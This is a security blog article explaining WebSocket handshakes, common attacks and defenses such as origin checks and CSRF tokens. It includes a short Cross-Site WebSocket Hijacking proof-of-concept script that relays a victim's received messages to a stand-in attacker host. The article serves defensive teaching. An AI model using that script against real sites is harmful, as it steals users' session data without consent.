I want a "Red Teaming"
Michael Schneider
How to handle WebSockets Security
WebSockets are widely used where, among other things, low latency or server initiated messages are required, for example in the case of a chat or real-time message feeds such as the transmission of financial data. There is no restriction on what data is transmitted in what form in messages over WebSockets. JSON is often used as a data format in web applications. The WebSocket protocol supports unencrypted connections (ws://) as well as encrypted communication via TLS (wss://).
Since WebSockets is an alternative form of communication to HTTP, but otherwise has similar functionality, the protocol is also affected by known HTTP vulnerabilities. In this article we describe how a WebSocket connection is established, what typical attack techniques are and what security measures exist.
To establish a WebSocket communication, the client and the WebSocket server perform a handshake. The sample code establishes a WebSocket connection, and then sends a message with the content ping
to the server.
<script> var websocket = new WebSocket('wss://server.example.org'); websocket.onopen = sendping(); function sendping() { websocket.send('ping'); } </script>
The browser automatically sends a handshake as an HTTP request to initiate the WebSocket connection.
GET /chat HTTP/1.1 Host: server.example.org Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: VGhlQW5zd2VyaXM0Mi4K Origin: http://example.org Sec-WebSocket-Version: 13
This is a simple form of the request that is performed without authentication. When the server accepts the request, it sends the following response to successfully complete the handshake.
HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: y/+ilX15b3jDgSQlfeKszFt8ntI=
The Sec-WebSocket-Key
header in the client request contains a Base64-encoded value that should be randomly generated for each request. The Sec-WebSocket-Accept
response header contains a hash of the transmitted value of the Sec-WebSocket-Key
header, created according to WebSocket protocol defaults. These headers are not a security function. These headers were introduced to prevent servers from having to accept connections from clients that do not support WebSockets and still send requests to the WebSocket server. This can include misconfigured caching proxy servers.
Now the WebSocket channel has been opened. How the communication and the processing of the messages looks like is the responsibility of the application, because the WebSocket protocol does not specify the form of the messages.
In the OWASP Web Security Testing Guide, tests on WebSockets are documented under ID WSTG-CLNT-10. In this chapter we present some attack techniques that affect WebSockets on the one hand and are also possible with WebSockets on the other hand.
If a WebSocket communication is not established using the WebSockets over TLS (wss://) protocol, it is possible to read and manipulate the communication at the network level. Attackers must be in a privileged position in the network to do this.
No form of authentication and authorization is specified for WebSockets. If no authentication is required to establish the WebSocket, attackers can establish their own connections and possibly access data that can only be accessed authenticated via HTTP. If access rights are also not checked within a WebSocket connection, attackers can gain unauthorized access to data by sending WebSocket messages.
Messages sent over WebSockets can be misused to inject code. Depending on how messages are processed in the application, it is also possible to carry out attacks via WebSockets such as SQL injection or XML-based attacks, among others. Client-side attacks such as Cross Site Scripting (XSS) are also possible if the content of messages is insufficiently checked and embedded in the web application without encoding. If an attacker gains control of the WebSocket connection, they can manipulate messages from the client to the server and vice versa, abusing existing vulnerabilities to execute malicious code.
The Cross-Site WebSocket Hijacking (CSWSH) attack exploits a Cross-Site Request Forgery Vulnerability (CSRF) in the WebSocket handshake. Attackers can connect to the vulnerable application under their own domain. When users open the attackers’ site, a WebSocket is established in the context of the user’s privilege. Attackers can then communicate with the application through the WebSocket connection and also gain access to the server’s responses. This is not usual for a CSRF attack.
A CSWSH attack allows attackers to send and receive messages on behalf of the user. Depending on the application purpose, establishing a WebSocket channel may also be sufficient to receive and analyse messages without further interaction. The following proof-of-concept script for a CSWSH attack includes JavaScript code for opening a WebSocket and extracting received messages. The script is executed in the attacker’s origin.
<script> // create a websocket connection to the target application var websocket = new WebSocket('wss://target.example'); // wait for a message and exfiltrate the data websocket.onmessage = function(event) { var xhr = new XMLHttpRequest(); xhr.open('POST', 'attacker.example', true); xhr.send(event.data); } </script>
When users access the attacker’s crafted page, the web browser performs the WebSocket handshake and also sends the cookies along, analogous to a CSRF attack. If authentication based only on a session token cookie is required to open a WebSocket, this example bypasses it.
When using WebSockets, the following protective measures should be observed.
When using WebSockets, the same principle applies as in classic web applications, that incoming data should not be trusted and must be validated accordingly. This applies to headers during the handshake as well as to the transmitted messages in both directions. In order to prevent cross-site WebSocket hijacking attacks, an origin header check should be performed and some form of CSRF token introduced.
Unlike HTTP, the WebSocket protocol preserves the connection, allowing asynchronous transmission of messages in both directions. When using WebSockets, similar vulnerabilities occur as in HTTP. If an encrypted connection is not established or authentication is not fully enforced, unauthorized access to transmitted data is possible. If no validation is performed when processing the content of messages, this leads to the execution of malicious code. There is also the possibility for cross-origin attacks during the initialization of a WebSocket connection. However, suitable protective measures exist for all the attacks described, so that WebSockets can also be operated securely.
Our experts will get in contact with you!
Michael Schneider
Michael Schneider
Michael Schneider
Michael Schneider
Our experts will get in contact with you!